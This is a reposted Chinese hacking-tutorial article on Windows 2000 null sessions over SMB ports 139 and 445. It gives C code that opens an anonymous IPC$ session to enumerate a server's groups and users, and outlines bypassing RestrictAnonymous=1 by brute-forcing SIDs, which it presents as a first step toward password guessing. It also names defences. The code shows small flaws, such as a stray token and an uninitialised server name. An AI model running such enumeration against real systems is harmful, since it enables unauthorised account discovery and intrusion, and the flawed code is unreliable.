首页 电脑学院 黑客教程 网站技术 网页特效 免费论文 公文写作 演讲发言 实用文档 职场指南 时尚生活 情感男女 其他资讯

您的位置:首页-> 黑客教程-> 旁门左道-> 解剖WIN2K下的空会话
解剖WIN2K下的空会话
I、 Introduction
II、 About TCP port 445
III、The null session
IV、 Break through "RestricAnonymous=1"
V、 Conclusion

终于有时间可以写自己的东西了。呵呵,直入主题,不废话了。

I、 Introduction

关于WIN2K下面的空会话,已经是一个很老的话题了。当然,也一直被认为是WIN2K自带的一个后门。当建立一个空会话之后,对于一台配置不到位的WIN2K服务器来说,那么将能够得到非常多的信息,比如枚举帐号等等。


II、 About TCP port 445, WIN2000的TCP 445端口

SMB(Server Message Block)协议在NT/2000中用来作文件共享,在NT中,SMB运行于NBT(NetBIOS over TCP/IP)上,使用137,139(UDP),139(TCP)端口。在2000中,SMB可以直接运行在tcp/ip上,而没有额外的NBT层,使用TCP 445端口。因此在2000上应该比NT稍微变化多一些。

可以在“网络连接/属性/TCPIP协议/属性/高级/WINS中设置启用或者禁用NBT(NetBIOS over TCP/IP)。

当2000使用网络共享的时候,就面临着选择139或者445端口了。下面的情况确定会话使用的端口:

1、如果客户端启用了NBT,那么连接的时候将同时访问139和445端口,如果从445端口得到回应,那么客户端将发送RST到139端口,终止这个端口的连接,接着就从445端口进行SMB的会话了;如果没有从445端口而是从139得到回应,那么
就从139端口进行会话;如果没有得到任何回应,那么SMB会话失败。
2、如果客户端禁用了NBT,他就将只从445端口进行连接。当然如果服务器(开共享端)没有445端口进行SMB会话的话,那么就会访问失败了,所以禁用445端口后,对访问NT机器的共享会失败。
3、如果服务器端启用NBT,那么就同时监听UDP 137、138端口和TCP139,445。如果禁用NBT,那么就只监听445端口了。

所以对于2000来说,共享问题就不仅仅是139端口,445端口同样能够完成。


III、The NULL session,关于空会话

NULL会话(空会话)使用端口也同样遵循上面的规则。NULL会话是同服务器建立的无信任支持的会话。一个会话包含用户的认证信息,而NULL会话是没有用户的认证信息,也就好比是一个匿名的一样。

没有认证就不可能为系统建立安全通道,而建立安全通道也是双重的,第一,就是建立身份标志,第二就是建立一个临时会话密匙,双方才能用这个会话进行加密数据交换(比如RPC和COM的认证等级是PKT_PRIVACY)。不管是经过NTLM还是经过Kerberos认证的票据,终究是为会话创建一个包含用户信息的令牌。(这段来自Joe Finamore)

根据WIN2000的访问控制模型,对于空会话同样需要提供一个令牌。但是空会话由于是没有经过认证的会话,所以令牌中不包含用户信息,因此,建立会话双方没有密匙的交换,这也不能让系统间发送加密信息。这并不表示空会话的令牌中不包含SID,对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话建立的SID,用户名是 ANONYMOUS LOGON。这个用户名是可以在用户列表中看到的。但是是不能在SAM数据库中找到,属于系统内置的帐号。
(关于这部分对NULL SESSION的分析,可以参照:《NULL Sessions In NT/2000》http://rr.sans.org/win/null.php)

NULL会话几乎成为了微软自己安置的后门,但是微软为什么要来设置这样一个“后门”呢?我也一直在想这个问题,如果NULL会话没有什么重要的用途,那么微软也应该不会来设置这样一个东西。好不容易才在微软上找到这个:

当在多域环境中,要在多域中建立信任关系,首先需要找到域中的PDC来通过安全通道的密码验证,使用空会话能够非常容易地找到PDC,还有就是关于一些系统服务的问题。而且LMHOSTS的#Include就需要空会话的支持,可以参考文章:
http://support.microsoft.com/default.aspx?scid=kb;EN-US;q121281
还有http://support.microsoft.com/default.aspx?scid=kb;EN-US;q124184

其实建立一个空会话的条件也非常严格。首先要能够满足上面的,也就是打开TCP 139和TCP 445端口。我们可以从一次关闭这两个端口的情况中看得出来。服务器关闭445和139端口,然后我们来进行空会话的连接。首先,客户端打算
连接的是445端口,然后再试图连接139端口。当然最后还是失败了。
仅仅开放这两个端口还不行,服务器还必须得打开IPC$共享。如果没有IPC共享,即使共享一个文件,有权限为Anonymous Logon,也不能建立会话,即使权限设置为完全控制,出现的连接错误依然是权限不够。这和其他帐号是不一样的。如果要允许一个文件夹共享能够类似IPC$(命名管道而非共享)能够使用空会话,那么需要修改注册表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\中的:NullSessionShares,
添加新的共享名,这样才能建立一个共享的空会话。这时,将不依赖IPC的存在了。(即使这样的空会话对于后面的突破也是一点没可取之处的,因为没有了IPC$命名管道,RPC不可取了,这下知道IPC这个命名管道的具体实现了。呵呵)

虽然空会话建立的要求很严格,但是那都是默认建立的。既然是默认的,对于使用WIN2K系统的服务器来说,就还是有利用的价值。最明显的就是空会话可以很方便地连接到其他的域,枚举用户、机器等。这也就是扫描软件进行探测的原理。我举个简单的程序例子来说明这个用途,并枚举用户组和用户。

#include <windows.h>
#include <stdio.h>
#include <lm.h>

#pragma comment (lib, "Mpr.lib")
#pragma comment (lib, "Netapi32.lib")

void explorer_groups(char *);

void main( int argc, char *argv[ ] )
{
DWORD ret;
char username[100] = "", password[100] = "";
char server[100] = "", ipc[100] = "";
NETRESOURCE NET;

if (argc == 1) {
exit(1);
}

strncpy(server,argv[1],100);
printf("server: %s\n", server);

sprintf(ipc,"\\\\%s\\ipc$",server);

NET.lpLocalName = NULL;
NET.lpProvider = NULL;
NET.dwType = RESOURCETYPE_ANY;
NET.lpRemoteName = (char*)&ipc;

printf("setting up session... ");
ret = WNetAddConnection2(&NET,(const char *)&password,(const char *)&username,0);

if (ret != ERROR_SUCCESS)
{
printf("IPC$ connect fail.\n");
exit(1);
}
else printf("IPC$ connect success.\n");
explorer_groups((char*)&server);

printf("Disconnect Server... ");
ret = WNetCancelConnection2((char*)&ipc,0,TRUE);
if (ret != ERROR_SUCCESS)
{
printf("fail.\n");
exit(1);
}
else printf("success.\n");
exit (0);
}

void explorer_groups(char *server)
{
DWORD ret, read, total, resume = 0;
int i;
LPVOID buff;
char comment[255];
wchar_t wserver[100];

do {
ret = NetLocalGroupEnum(wserver, 1, (unsigned char **)&buff, MAX_PREFERRED_LENGTH, &read, &total, &resume);

if (ret != NERR_Success && ret != ERROR_MORE_DATA)
{
printf("fail\n");
break;
}
PLOCALGROUP_INFO_1 info = (PLOCALGROUP_INFO_1) buff;

for (i=0; i<read; i++) {
printf("GROUP: %S\n",info[i].lgrpi1_name);

WideCharToMultiByte(CP_ACP, 0, info[i].lgrpi1_comment , -1, comment,255,NULL,NULL);
printf("\tCOMMENT: %s\n",comment);

DWORD ret, read, total, resume = 0;
ret = NetLocalGroupGetMembers((const unsigned short*)&wserver, info[i].lgrpi1_name, 2, (unsigned char **)&buff, 1024, &read, &total, &resume);

if (ret != NERR_Success && ret != ERROR_MORE_DATA) {
printf("fail\n");en
break;
}

PLOCALGROUP_MEMBERS_INFO_2 info = (PLOCALGROUP_MEMBERS_INFO_2) buff;

for (unsigned i=0; i<read; i++) {
printf("\t\t%S\n", info[i].lgrmi2_domainandname);
printf("\t\t\tSID:%d\n", info[i].lgrmi2_sid);
printf("\t\t\tSIDUSAGE:%d\n",info[i].lgrmi2_sidusage);
}
NetApiBufferFree (buff);
}

NetApiBufferFree (buff);

} while (ret == ERROR_MORE_DATA );
}

这是一个简单的例子。当然可以查询更多的东西。类似,就不再重复了。枚举用户名是很重要的用途,因为接下来可以做的就是进行密码的猜解,这对系统安全构成的威胁是非常大的。

想到有威胁,就需要知道怎么防范。防范很简单。不过这里需要提醒的是关于注册表(或者安全策略中)中可以设置Restrictanonymous为1,这样可以禁止空连接进行枚举。因为很多安全配置介绍中都是这样做的,因为如果设置为2的
话,有一些问题会发生。比如一些WIN的服务出现问题等等。但是,RestricAnonymous设置为1并不会组织用户帐号的枚举。因为空连接是一样能够建立的,并不是说阻止了空连接的建立。但是我们这里需要来突破!!


IV、 Break through "RestricAnonymous=1",突破RestricAnonymous=1的限制进行用户枚举

虽然我们还是能够建立空连接,但是却没有那些NET函数的访问权限了。这个可以看MSDN上关于对网络管理函数的安全问题。但是,有一个突破点,呵呵,那就是猜测。这个需要联系到访问控制模型上了。就象前面对NULL会话说到的那样,NULL会话获得ANONYMOUS LOGON 用户名的SID(安全标志符),系统用SID来标志这个用户,同时创建令牌。而这个令牌才是系统对用户的访问权限标志,并不是用帐户名来确定。现在我们需要的是SID,因为令牌中包含了帐户的SID,对于系统来说,SID是不变的。SID是在帐户或者组创建的时候就建立好了。可是每个WIN2K系统为相同用户名的帐户创建的SID并不相同。

我们来先分析这个重要的SID。SID的格式是:S-R-X-Y(1)-Y(2)-……-Y(N)。其中S表示该字符串是SID,R是SID的版本号,对于2000来说,这个就是1,然后X是标志符的颁发机构 (identifier authority)。对于2000内的帐户,颁发机构就是NT,值是5。然后Y表示一系列的子颁发机构,前面几项是标志域的,最后一个Y(N)标志着域内的帐户和组。也就是说,对于多数帐户来说,区别在与这个Y(N)。

现在需要分析一下SAM结构中对帐户的管理。展开注册表的SAM之后,
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Builtin\Aliases\Members,存储着重要的帐户内容。找到本地的域,然后展开,得到的就是本地帐号的所有SID列表。分析其规律,因为有些是系统规定的Y(N),所以就有规律了。其中的000001F4,十进制的500,这一定是一个固定的,标志系统建立时候的内置管理员帐号administrator,000001F5就是GUEST帐号了。然后看到了一个跳跃到了000003E8,这是其他帐号的开始,比如 TsInternetUser帐户以及自定义的帐户了。

到了这里,我们还需要函数的支持。LookupAccountName()和LookupAccountSid(),这两个函数是允许空会话使用的。上面通过空会话来建立连接然后使用NET*函数枚举帐户已经被RestrictAnonymous禁止了。因此,SID成为我们的突破口。不过SID对于一台机器来说是固定的,但是并不是说跟其他的机器的SID是一样的,我们需要进行一定的猜测,用来获得SID中不同的部分,就是几个子颁发机构。哈哈,我们猜测的东西就是用户名。假象系统存在的用户名,比如TsInternetUser,Guest帐户等。然后通过这些帐户名获得SID的前面部分,然后根据前面部分进行枚举,将最后一个子颁发机构进行递加,从而获得每个帐户的SID,然后又回过来,利用函数LookupAccountSid()进行用户名的查询。这样就达到了枚举帐户的目的了,而且是在 RestrictAnonymous=1 的情况下。

我写了一个程序,我猜测的帐号是guest。大致思路在这里介绍了,把代码贴在这里太占篇幅,原代码和执行程序可以在我的主页(www.opengram.com)下载。


V、 Conclusion

不过,即便我们花费这么大精力能够突破RestricAnoymous=1的限制,但是防范起来简直太容易了。取消掉IPC$命名管道,就让NULL SESSION完全没有用了。

在百度中查找更多解剖WIN2K下的空会话 的内容
职场宝典   职场故事   职场跳槽   职场文化   职场理财   职场充电   情感天地   职场女性   职场礼仪   职场新人
报告总结   述职报告 工作总结 调查报告 工作汇报 计划方案 个人总结 社会实践 规章制度 调研报告 
  实习报告 考察报告 辞职报告 
演讲发言   竞职演说   就职演说   精彩演说   爱国演讲   英语演讲   十七大演讲   安全生产演讲稿   
节日祝福   重阳节 国庆节 教师节 中秋节 情人节 七夕节 劳动节 妇女节 清明节 愚人节 春节 元旦 圣诞节  儿童节  端午节 母亲节 新婚祝福 生日祝福 
讲话致辞   开业开幕   会议主持   庆典致辞   会议发言   党风廉政   党政报告   贺电慰问   婚丧嫁娶   思想宣传
法律常识   基本常识   法律文书   权益常识   劳动保障   婚姻继承   民事诉讼   刑事诉讼   
党建材料   入党申请   思想学习   党性分析   思想汇报   转正申请   民主生活   党委党建   入团申请   申报材料
求职简历   个人简历   求职自荐   求职谋略   面试技巧   求职英语   自我鉴定   英文简历   简历封面
心得体会   心得体会   经验交流   读后感   
时政热点   和谐社会   先进性教育   新农村建设   十七大   八荣八耻   科学发展观   劳动合同法   
人际沟通   社交技巧   社交礼仪   口才技巧   谈话技巧   演讲技巧   
营销技巧   电话销售   网络销售   推销技巧   促销技巧   销售口才   营销手段   销售技巧   谈判技巧   

“ 解剖WIN2K下的空会话 ”来源于网络,版权归作者所有!勿用于商业用途。

旁门左道

新手入门
病毒漏洞
工具使用
入侵实例
安全防范
旁门左道

本类阅读TOP10

·33招Google技巧玩法
·方法集锦,怎样查找对方的IP地址?
·TCP端口的作用、漏洞和操作
·修改远程终端服务端口3389的方法
·解决sp2对多线程下载软件(如BT、OP等)的限制
·病毒木马入侵招数全记录
·学会控制电脑:注册表入门
·突破常规玩提取 迅速恢复误删除的文件
·笔记本电脑解密方法大全
·让你的命令提示符显示的更贴心

广告


关于本站|服务条款|广告服务|客服中心|发布文章|网站留言